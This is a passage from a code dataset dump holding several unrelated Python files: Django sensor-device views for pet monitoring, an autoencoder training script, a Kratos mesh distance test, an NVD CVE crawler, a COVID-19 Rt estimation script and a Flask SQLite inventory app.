{0}% of eaten food for {1}'.format(\n str(request.POST['food_weight']),\n device.animal.name\n )\n text = 'Pet ate less then 40% of gaven food!'\n user.userwarningmessage_set.create(title=message, body=text)\n\n except Device.DoesNotExist:\n pass\n ej_record.resultative_food_eaten = int(request.POST['food_weight'])\n ej_record.save()\n return super(FoodLoadCellViewSet, self).create(request)\n\n\nclass PetWeightLoadCellViewSet(viewsets.ModelViewSet):\n queryset = PetWeightLoadCell.objects.all()\n serializer_class = PetWeightLoadCellSerializer\n permission_classes = (AllowAny,)\n http_method_names = ['get', 'post', 'delete']\n\n def get_queryset(self):\n if self.request.user.is_anonymous:\n return PetWeightLoadCell.objects.all()\n user = self.request.user\n return PetWeightLoadCell.objects.filter(device__animal__custom_user=user)\n\n def create(self, request, *args, **kwargs):\n device = Device.objects.get(pk=int(request.POST['device']))\n try:\n users = device.animal.custom_user.all()\n if abs(int(request.POST['pet_weight']) - device.animal.weight) > Animal.objects.get(\n device_id=int(request.POST['device'])).max_animal_weight_change:\n for user in users:\n message = 'Weight warning: {0} for {1}'.format(\n str(request.POST['pet_weight']),\n device.animal.name\n )\n text = 'Weight of the pet {0} changed from {1} to {2}. Please, notice this!'.format(\n device.animal.name,\n str(device.animal.weight),\n str(request.POST['pet_weight'])\n )\n user.userwarningmessage_set.create(title=message, body=text)\n device.animal.weight = int(request.POST['pet_weight'])\n device.animal.save()\n\n except Device.DoesNotExist:\n pass\n print(datetime.datetime.isoformat(datetime.datetime.now()))\n ej_record = find_the_latest_ej_record(device.animal.pk, timezone.now())\n ej_record.resultative_pet_weight = int(request.POST['pet_weight'])\n ej_record.save()\n return super(PetWeightLoadCellViewSet, self).create(request)\n\n\nclass AmbientTemperatureViewSet(viewsets.ModelViewSet):\n queryset = AmbientTemperature.objects.all()\n serializer_class = AmbientTemperatureSerializer\n permission_classes = (AllowAny,)\n http_method_names = ['get', 'post', 'delete']\n\n def get_queryset(self):\n if self.request.user.is_anonymous:\n return AmbientTemperature.objects.all()\n user = self.request.user\n return AmbientTemperature.objects.filter(device__animal__custom_user=user)\n\n def create(self, request, *args, **kwargs):\n if int(request.POST['temperature']) < Animal.objects.get(device_id=int(request.POST['device'])).min_temperature:\n try:\n device = Device.objects.get(pk=int(request.POST['device']))\n users = device.animal.custom_user.all()\n\n for user in users:\n message = 'Temperature warning: {0} for {1}'.format(\n str(request.POST['temperature']),\n device.animal.name\n )\n text = 'Temperature is low now!'\n user.userwarningmessage_set.create(title=message, body=text)\n except Device.DoesNotExist:\n pass\n return super(AmbientTemperatureViewSet, self).create(request)\n","sub_path":"backend/devices/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":5544,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"55"} +{"seq_id":"24933324","text":"from autoencoder import AutoEncoder\nfrom preprocess import create_dataset\nimport tensorflow as tf\nimport random\nimport numpy as np\nimport matplotlib.pyplot as plt\n\ndef train(batch_size = 20, learning_rate = 0.01, training_epochs = 200, display_step = 10):\n # create an AutoEncoder instance\n model = AutoEncoder()\n\n # data set\n\n data = np.array(create_dataset(idx = 1))\n print (len(data))\n\n #\n # Construct model\n encoder_op = model.encoder(model.X)\n decoder_op = model.decoder(encoder_op)\n\n # Prediction\n y_pred = decoder_op\n # Targets (Labels) are the input data.\n y_true = model.X\n\n # Define loss and optimizer, minimize the squared error\n cost = tf.reduce_mean(tf.pow(y_true - y_pred, 2))\n regularizer = tf.reduce_mean(tf.nn.l2_loss(model.weights['encoder_h']))\n # cost = tf.reduce_mean(cost + 0.01 * regularizer)\n optimizer = tf.train.AdamOptimizer(learning_rate).minimize(cost)\n\n # Initializing the variables\n init = tf.global_variables_initializer()\n\n # Launch the graph\n with tf.Session() as sess:\n sess.run(init)\n total_batch = int(len(data)/batch_size)\n # Training cycle\n for epoch in range(training_epochs):\n # Loop over all batches\n for i in range(total_batch):\n indecies = random.sample(range(len(data)), batch_size)\n batch_xs = data[indecies]\n # Run optimization op (backprop) and cost op (to get loss value)\n _, c = sess.run([optimizer, cost], feed_dict={model.X: batch_xs})\n # Display logs per epoch step\n if epoch % display_step == 0:\n print(\"Epoch:\", '%04d' % (epoch+1),\n \"cost=\", \"{:.9f}\".format(c))\n\n print(\"Optimization Finished!\")\n\n # Applying encode and decode over test set\n example = random.sample(range(len(data)), 10)\n encode_decode = sess.run(y_pred, feed_dict={model.X: data[example]})\n # Compare original images with their reconstructions\n f, a = plt.subplots(2, 10, figsize=(10, 2))\n for i,d in enumerate(example):\n a[0][i].imshow(np.reshape(data[i], (32, 32)), cmap='Greys')\n a[1][i].imshow(np.reshape(encode_decode[i], (32, 32)), cmap='Greys')\n f.show()\n plt.draw()\n plt.waitforbuttonpress()\n\n print (model.weights)\n\nif __name__ == '__main__':\n train()\n","sub_path":"script/train.py","file_name":"train.py","file_ext":"py","file_size_in_byte":2416,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"55"} +{"seq_id":"163737475","text":"import KratosMultiphysics\nimport KratosMultiphysics.CompressiblePotentialFlowApplication\nimport math\n\nmodel = KratosMultiphysics.Model()\nmain_model_part = model.CreateModelPart(\"main\")\nmain_model_part.AddNodalSolutionStepVariable(KratosMultiphysics.DISTANCE)\n# KratosMultiphysics.ModelPartIO(\"rhomboid\").ReadModelPart(main_model_part)\nproblem_domain = KratosMultiphysics.Hexahedra3D8(\n KratosMultiphysics.Node(1, -0.25, -0.75, -0.5),\n KratosMultiphysics.Node(2, 2.25, -0.75, -0.5),\n KratosMultiphysics.Node(3, 2.25, 0.75, -0.5),\n KratosMultiphysics.Node(4, -0.25, 0.75, -0.5),\n KratosMultiphysics.Node(5, -0.25, -0.75, 0.5),\n KratosMultiphysics.Node(6, 2.25, -0.75, 0.5),\n KratosMultiphysics.Node(7, 2.25, 0.75, 0.5),\n KratosMultiphysics.Node(8, -0.25, 0.75, 0.5))\nparameters = KratosMultiphysics.Parameters(\"{}\")\nparameters.AddEmptyValue(\"element_name\").SetString(\"Element3D4N\")\nparameters.AddEmptyValue(\"condition_name\").SetString(\"Condition3D3N\")\nparameters.AddEmptyValue(\"create_skin_sub_model_part\").SetBool(False)\nparameters.AddEmptyValue(\"number_of_divisions\").SetInt(26)\nKratosMultiphysics.StructuredMeshGeneratorProcess(problem_domain, main_model_part, parameters).Execute()\n\nfrom stl import mesh #this requires numpy-stl\nwake_stl_mesh = mesh.Mesh.from_multi_file(\"rhomboid_wake.stl\")\nwake_model_part = model.CreateModelPart(\"wake\")\n\ndummy_property = wake_model_part.Properties[0]\nnode_id = 1\nelem_id = 1\nz=0.1\n# Looping over stl meshes\nfor stl_mesh in wake_stl_mesh:\n for vertex in stl_mesh.points:\n node1 = wake_model_part.CreateNewNode(node_id, float(vertex[0]), float(vertex[1]), float(vertex[2])+z)\n node_id+=1\n node2 = wake_model_part.CreateNewNode(node_id, float(vertex[3]), float(vertex[4]), float(vertex[5])+z)\n node_id+=1\n node3 = wake_model_part.CreateNewNode(node_id, float(vertex[6]), float(vertex[7]), float(vertex[8])+z)\n node_id+=1\n\n wake_model_part.CreateNewElement(\"Element3D3N\", elem_id, [\n node1.Id, node2.Id, node3.Id], dummy_property)\n elem_id += 1\n\n\n# wake_model_part.CreateNewNode(1, 0.0, 1.0, 0.1)\n# wake_model_part.CreateNewNode(2, 30.0, 1.0, 0.1)\n# wake_model_part.CreateNewNode(3, 30.0, -1.0, 0.1)\n# wake_model_part.CreateNewNode(4, 0.0, -1.0, 0.1)\n# wake_model_part.CreateNewElement(\"Element3D3N\", 1, [1,2,3], KratosMultiphysics.Properties(0))\n# wake_model_part.CreateNewElement(\"Element3D3N\", 2, [1,3,4], KratosMultiphysics.Properties(0))\n\n# moving_params = KratosMultiphysics.Parameters(\"\"\"{\n# \"origin\" : [-0.5,0.0,0.0],\n# \"rotation_point\" : [-0.25,0.0,0.0],\n # \"rotation_angle\" : 0.0,\n # \"sizing_multiplier\" : 1.0\n # }\"\"\")\n# angle=math.radians(-moving_params[\"rotation_angle\"].GetDouble())\n# moving_params[\"rotation_angle\"].SetDouble(angle)\n# KratosMultiphysics.CompressiblePotentialFlowApplication.MoveModelPartProcess(wake_model_part, moving_params).Execute()\n\nuse_discontinuous = False #Set to false to use continuous distance process\n\nif use_discontinuous:\n for element in main_model_part.Elements:\n for node in element.GetNodes():\n node.SetSolutionStepValue(KratosMultiphysics.DISTANCE,100.0)\n KratosMultiphysics.CalculateDiscontinuousDistanceToSkinProcess3D(main_model_part,wake_model_part).Execute()\n for element in main_model_part.Elements:\n distances = element.GetValue(KratosMultiphysics.ELEMENTAL_DISTANCES)\n counter = 0\n\n npos = 0\n nneg = 0\n for counter in range(0,4):\n if distances[counter] > 0.0:\n npos += 1\n else:\n nneg += 1\n counter = 0\n if (npos>0 and nneg >0):\n print(distances)\n element.Set(KratosMultiphysics.BOUNDARY,True)\n for node in element.GetNodes():\n node.SetSolutionStepValue(KratosMultiphysics.DISTANCE,distances[counter])\n counter += 1\n\n\nelse:\n # Continuous distance process (does not work for volumeless bodies)\n KratosMultiphysics.CalculateDistanceToSkinProcess3D(main_model_part,wake_model_part).Execute()\n\n\n\n\n\nfrom gid_output_process import GiDOutputProcess\ngid_output = GiDOutputProcess(main_model_part,\n \"distance_test_CONTINUO\",\n KratosMultiphysics.Parameters(\"\"\"\n {\n \"result_file_configuration\" : {\n \"gidpost_flags\": {\n \"GiDPostMode\": \"GiD_PostBinary\",\n \"WriteDeformedMeshFlag\": \"WriteUndeformed\",\n \"WriteConditionsFlag\": \"WriteConditions\",\n \"MultiFileFlag\": \"SingleFile\"\n },\n \"nodal_results\" : [\"DISTANCE\"],\n \"elemental_conditional_flags_results\" : [\"BOUNDARY\"],\n \"plane_output\" : [\n {\"point\": [0.0, 0.0, 0.0],\n \"normal\": [0.0, 1.0, 0.0]}]\n }\n }\n \"\"\")\n )\n\ngid_output.ExecuteInitialize()\ngid_output.ExecuteBeforeSolutionLoop()\ngid_output.ExecuteInitializeSolutionStep()\ngid_output.PrintOutput()\ngid_output.ExecuteFinalizeSolutionStep()\ngid_output.ExecuteFinalize()\n\n","sub_path":"distance_test/CONTINUO_distance_test_3d.py","file_name":"CONTINUO_distance_test_3d.py","file_ext":"py","file_size_in_byte":5747,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"55"} +{"seq_id":"577159250","text":"import requests\nimport json\nimport os\n\n\nclass NVDWebCrawler:\n def __init__(self, packages, force_updating=False):\n \"\"\"\n PYPI WebCrawler\n :param packages: list[str]\n a list of name of packages\n \"\"\"\n assert (isinstance(packages, list))\n for element in packages:\n assert (isinstance(element, str))\n self.packages = packages\n self.result = {}\n self.force_updating = force_updating\n\n def parse(self):\n for package_name in self.packages:\n try:\n path = './output/%s/' % package_name\n if not self.force_updating:\n if os.path.exists(path + 'nvd-simple.json'):\n print(\n \"[NVDWebCrawler]parsing package %s found nvd-simple.json\" %\n package_name)\n is_succeed = False\n f = None\n try:\n f = open(path + 'nvd-simple.json', 'r')\n basic_info = json.load(f)\n self.result[package_name] = basic_info\n print(\n \"[parse succeed]package_name: %s\" %\n package_name)\n is_succeed = True\n except Exception as e:\n print(\n \"[NVDWebCrawler]Error when parsing nvd-simple.json:%s\" %\n e.__str__())\n print(\"[NVDWebCrawler]now downloading data\")\n finally:\n if f:\n f.close()\n if is_succeed:\n continue\n res = requests.get(\n \"https://services.nvd.nist.gov/rest/json/cves/1.0\",\n {\"keyword\": package_name,\n \"isExactlyMatch\": True})\n\n if res.status_code != 200:\n raise RuntimeError(\"Internet Error, status code=%d\" % res.status_code)\n\n response = res.json()\n # print(json.dumps(response,sort_keys=True, indent=2))\n\n if not os.path.exists(path):\n # make dirs for packages that have not been parsed\n os.makedirs(path)\n f = open(path + 'cve.json', 'w+')\n json.dump(response, f, indent=2)\n f.close()\n\n if \"error\" in response.keys():\n basic_info = []\n else:\n # parse nvd.json to nvd-simple.json\n cves = response['result']['CVE_Items']\n basic_info = [{\n \"cveID\": cve[\"cve\"][\"CVE_data_meta\"][\"ID\"],\n \"cveASSIGNER\": cve[\"cve\"][\"CVE_data_meta\"][\"ASSIGNER\"],\n \"publishedDate\": cve[\"publishedDate\"],\n \"lastModifiedDate\": cve[\"lastModifiedDate\"],\n \"description\": cve[\"cve\"][\"description\"][\"description_data\"],\n \"references\": cve[\"cve\"][\"references\"][\"reference_data\"]\n }\n for cve in cves]\n f = open(path + 'nvd-simple.json', 'w+')\n json.dump(basic_info, f, indent=2)\n f.close()\n self.result[package_name] = basic_info\n print('[parse succeed]package_name: %s' % package_name)\n except Exception as e:\n print('[exception]Exception occurred: %s' % e.__str__())\n print('[parse failed]package_name: %s' % package_name)\n self.result[package_name] = {\"Exception\": e.__str__()}\n continue\n return self.result\n\n\nif __name__ == \"__main__\":\n package_names = [\"hnya123\", \"pip\", \"requests\", \"django\"]\n wrapper = NVDWebCrawler(package_names, True)\n print(wrapper.parse())\n","sub_path":"nvd_crawler/nvd_webcrawler.py","file_name":"nvd_webcrawler.py","file_ext":"py","file_size_in_byte":4054,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"55"} +{"seq_id":"410361607","text":"import sys\nimport os\n# insert at 1, 0 is the script path (or '' in REPL)\nbase_dir = '/'.join(os.getcwd().split('/')[:-1])\nsys.path.insert(0, base_dir)\n\nfrom covid19.estimation import ReproductionNumber\nimport pandas as pd\n#from rpy2.robjects import pandas2ri\n#from rpy2.robjects.conversion import localconverter\nfrom copy import deepcopy\n\ndef run_Rt_estimation(incidence, prior_shape, prior_scale, mean_si, sd_si, t_max, window_width):\n \n si_pars = {'mean': mean_si, 'sd': sd_si}\n \n Rt = ReproductionNumber(incidence=incidence,\n si_pars=si_pars,\n prior_shape=prior_shape, \n prior_scale=prior_scale,\n window_width=window_width\n )\n \n Rt.compute_posterior_parameters()\n\n Rt_posterior_sample = Rt.sample_from_posterior(sample_size=N)\n Rt.compute_posterior_summaries(posterior_sample=Rt_posterior_sample, t_max=t_max)\n\n results = Rt\n \n return results\n\nN = 100_000\ndata = pd.read_csv('https://raw.githubusercontent.com/wcota/covid19br/master/cases-brazil-states.csv')\ndata['date'] = data['date'].astype('datetime64[ns]')\n\nt_max = 5\nwindow_width = 6\n\n\ndef get_incidence_data(data, region):\n incidence = data[data['state'] == region][['date', 'newCases', 'totalCases']]\n incidence = incidence.set_index('date')\n \n incidence = (incidence.asfreq('d')\n .assign(newCases=lambda x: x.newCases.fillna(0),\n totalCases=lambda x: x.totalCases.fillna(method='ffill'))\n .query('totalCases >= 50'))\n incidence = incidence.reset_index()\n incidence.columns = ['dates', 'incidence', 'totalCases']\n incidence = incidence.set_index('dates')\n \n return incidence[['incidence']]\n\n\nbrazil_incidence = get_incidence_data(data=data, region=\"TOTAL\")\n\nbrazil_results = run_Rt_estimation(incidence=brazil_incidence,\n prior_shape=5.12, prior_scale=0.64,\n mean_si=7.5, sd_si=3.4,\n t_max=t_max, window_width=window_width)\n\nprint(brazil_incidence)\nprint(brazil_results)\n\n\nlast_known_day = brazil_results.posterior_summary.query('end_dates == \"2020-03-26\"')\n\nmost_recent_Rt = last_known_day['Rt_mean'].round(2).values[0]\nupper = last_known_day['Rt_q0.975'].round(2).values[0]\nlower = last_known_day['Rt_q0.025'].round(2).values[0]\nbrazil_posterior_shape = last_known_day['Rt_shape'].values[0]\nbrazil_posterior_scale = last_known_day['Rt_scale'].values[0]\ntitle = f\"most recent $R_t$ = {most_recent_Rt} (95% CI = [{lower}, {upper}], $k = {round(brazil_posterior_shape, 2)}$, $\\\\theta = {round(brazil_posterior_scale, 5)}$)\"\nprint(upper)\nprint(brazil_results.posterior_summary)\nbrazil_results.plot_reproduction_number(title=title)\n","sub_path":"covid_19/teste.py","file_name":"teste.py","file_ext":"py","file_size_in_byte":2842,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"55"} +{"seq_id":"324352206","text":"from flask import Flask, render_template, request, redirect, url_for,flash\nfrom flask_sqlalchemy import SQLAlchemy\nfrom flask_admin import Admin\nfrom flask_admin.contrib.sqla import ModelView\nfrom datetime import datetime\nimport sqlite3\nfrom Tables import product, Location, ProductBalance,ProductMovement\nimport CreateSQL\n\n\n\napp = Flask(__name__)\n\n\n\n@app.route('/')\ndef header():\n return render_template('header.html')\n@app.route('/overview.html')\ndef overview():\n con = sqlite3.connect(\"FlaskInventory.db\") \n con.row_factory = sqlite3.Row \n cur = con.cursor() \n \n #cur.execute(\"INSERT INTO TRY SELECT prod_id,prod_name FROM Product\")\n #cur.execute(\"SELECT product FROM ProductBalance INNER JOIN Product ON ProductBalance.product=Product.prod_name\")\n cur.execute(\"select * from ProductBalance\") \n contacts =cur.fetchall()\n return render_template('overview.html', contacts=contacts)\n\n@app.route('/product.html')\ndef product():\n con = sqlite3.connect(\"FlaskInventory.db\") \n con.row_factory = sqlite3.Row \n cur = con.cursor() \n cur.execute(\"select * from Product\") \n rows = cur.fetchall() \n return render_template(\"product.html\",rows = rows)\n\n@app.route('/location.html')\ndef location():\n con = sqlite3.connect(\"FlaskInventory.db\") \n con.row_factory = sqlite3.Row \n cur = con.cursor() \n cur.execute(\"select * from Location\") \n rows = cur.fetchall() \n return render_template('location.html',rows = rows)\n\n@app.route('/productMovement.html')\ndef productMovement():\n con = sqlite3.connect(\"FlaskInventory.db\") \n con.row_factory = sqlite3.Row \n cur = con.cursor() \n cur.execute(\"select * from ProductMovement\") \n rows = cur.fetchall() \n return render_template('productMovement.html',rows = rows)\n\n\n@app.route('/insert',methods=[\"POST\"])\ndef insert():\n msg=\"msg\"\n if request.method == \"POST\":\n try:\n prod_name = request.form[\"name\"]\n prod_qty=request.form[\"Qty\"]\n with sqlite3.connect(\"FlaskInventory.db\") as con: \n cur = con.cursor() \n cur.execute(\"INSERT into Product (prod_name,prod_qty) values (?,?)\",(prod_name,prod_qty)) \n con.commit() \n msg = \"Product successfully Added\"\n except: \n con.rollback() \n msg = \"We can not add the product to the list, Please enter a unique id\" \n finally: \n return render_template(\"success.html\",msg = msg) \n con.close() \n\n\n@app.route('/insertLoc',methods=[\"POST\"])\ndef insertLoc():\n msg=\"msg\"\n if request.method == \"POST\":\n try:\n loc_id=request.form[\"id\"]\n loc_name = request.form[\"name\"]\n with sqlite3.connect(\"FlaskInventory.db\") as con: \n cur = con.cursor() \n cur.execute(\"INSERT into Location (loc_id,loc_name) values (?,?)\",(loc_id,loc_name)) \n con.commit() \n msg = \"Location successfully Added\"\n except: \n con.rollback() \n msg = \"We can not add the location to the list,Please enter a unique id\" \n finally: \n return render_template(\"success.html\",msg = msg) \n con.close() \n\n\n@app.route('/Move',methods=[\"POST\"])\ndef Move():\n msg=\"msg\"\n if request.method == \"POST\":\n try:\n timestamp = request.form[\"ts\"]\n from_location = request.form[\"from_loc\"]\n to_location = request.form[\"to_loc\"]\n product_id = request.form[\"p_id\"]\n pqty = request.form[\"qty\"]\n with sqlite3.connect(\"FlaskInventory.db\") as con: \n cur = con.cursor() \n cur.execute(\"INSERT into ProductMovement (timestamp,from_location,to_location,product_id,pqty) values (?,?,?,?,?)\",(timestamp,from_location,to_location,product_id,pqty)) \n con.commit() \n msg = \"Move Product successfully Added\"\n except: \n con.rollback() \n msg = \"We can not move product to the list,Please enter a unique id\" \n finally: \n return render_template(\"success.html\",msg = msg) \n con.close()\n\n\n\n@app.route(\"/delete\") \ndef delete(): \n return render_template(\"delete.html\") \n \n@app.route(\"/deleterecord\",methods = [\"POST\"]) \ndef deleterecord(): \n id = request.form[\"Did\"] \n with sqlite3.connect(\"FlaskInventory.db\") as con: \n try: \n cur = con.cursor() \n cur.execute(\"delete from Product where prod_id = ?\",id) \n msg = \"record successfully deleted\" \n except: \n msg = \"can't be deleted\" \n finally: \n return render_template(\"success.html\",msg = msg)\n\n\n@app.route(\"/deleterecordLoc\",methods = [\"POST\"]) \ndef deleterecordLoc(): \n id = request.form[\"Did\"] \n with sqlite3.connect(\"FlaskInventory.db\") as con: \n try: \n cur = con.cursor() \n cur.execute(\"delete from Location where loc_id = ?\",id) \n msg = \"record successfully deleted\" \n except: \n msg = \"can't be deleted\" \n finally: \n return render_template(\"success.html\",msg = msg)\n\n@app.route(\"/deleterecord2\",methods = [\"POST\"]) \ndef deleterecord2(): \n id = request.form[\"id\"] \n with sqlite3.connect(\"FlaskInventory.db\") as con: \n try: \n cur = con.cursor() \n cur.execute(\"delete from ProductMovement where movement_id = ?\",id) \n msg = \"record successfully deleted\" \n except: \n msg = \"can't be deleted\" \n finally: \n return render_template(\"success.html\",msg = msg)\n\n\n@app.route(\"/updateProduct\",methods = [\"POST\"]) \ndef updateProduct(): \n prod_name = request.form[\"prodname\"]\n prod_qty=request.form[\"prodQty\"]\n with sqlite3.connect(\"FlaskInventory.db\") as con: \n try: \n cur = con.cursor() \n cur.execute(\"UPDATE Product SET prod_name = ?, prod_qty = ?\",(prod_name, prod_qty)) \n msg = \"record successfully updated\" \n except: \n msg = \"can't be updated\" \n finally: \n return render_template(\"success.html\",msg = msg)\n\n@app.route(\"/updateLocation\",methods = [\"POST\"]) \ndef updateLocation(): \n loc_id=request.form[\"locid\"]\n loc_name=request.form[\"locname\"]\n with sqlite3.connect(\"FlaskInventory.db\") as con: \n try: \n cur = con.cursor() \n cur.execute(\"UPDATE Location SET loc_id = ?, loc_name = ?\",(loc_id,loc_name)) \n msg = \"record successfully updated\" \n except: \n msg = \"can't be updated\" \n finally: \n return render_template(\"success.html\",msg = msg)\n \n@app.route(\"/updateProductMove\",methods = [\"POST\"]) \ndef updateProductMove(): \n timestamp = request.form[\"ts\"]\n from_location = request.form[\"from_loc\"]\n to_location = request.form[\"to_loc\"]\n product_id = request.form[\"p_id\"]\n pqty = request.form[\"qty\"]\n with sqlite3.connect(\"FlaskInventory.db\") as con: \n try: \n cur = con.cursor() \n cur.execute(\"UPDATE ProductMovement SET timestamp = ?,from_location = ?, to_location = ?, product_id = ?, pqty = ?\",(timestamp,from_location,to_location,product_id,pqty)) \n msg = \"record successfully updated\" \n except: \n msg = \"can't be updated\" \n finally: \n return render_template(\"success.html\",msg = msg)\n\n@app.route(\"/viewProduct.html\") \ndef viewProduct(): \n con = sqlite3.connect(\"FlaskInventory.db\") \n con.row_factory = sqlite3.Row \n cur = con.cursor() \n cur.execute(\"select * from Product\") \n rows = cur.fetchall() \n return render_template(\"viewProduct.html\",rows = rows)\n\n@app.route(\"/viewLocation.html\") \ndef viewLocation(): \n con = sqlite3.connect(\"FlaskInventory.db\") \n con.row_factory = sqlite3.Row \n cur = con.cursor() \n cur.execute(\"select * from Location\") \n rows = cur.fetchall() \n return render_template(\"viewLocation.html\",rows = rows) \n\n@app.route(\"/viewProductMov.html\") \ndef viewProductMov(): \n con = sqlite3.connect(\"FlaskInventory.db\") \n con.row_factory = sqlite3.Row \n cur = con.cursor() \n cur.execute(\"select * from ProductMovement\") \n rows = cur.fetchall() \n return render_template(\"viewProductMov.html\",rows = rows)\n\nif __name__ == '__main__':\n app.run(debug = True)","sub_path":"app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":8500,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"55"}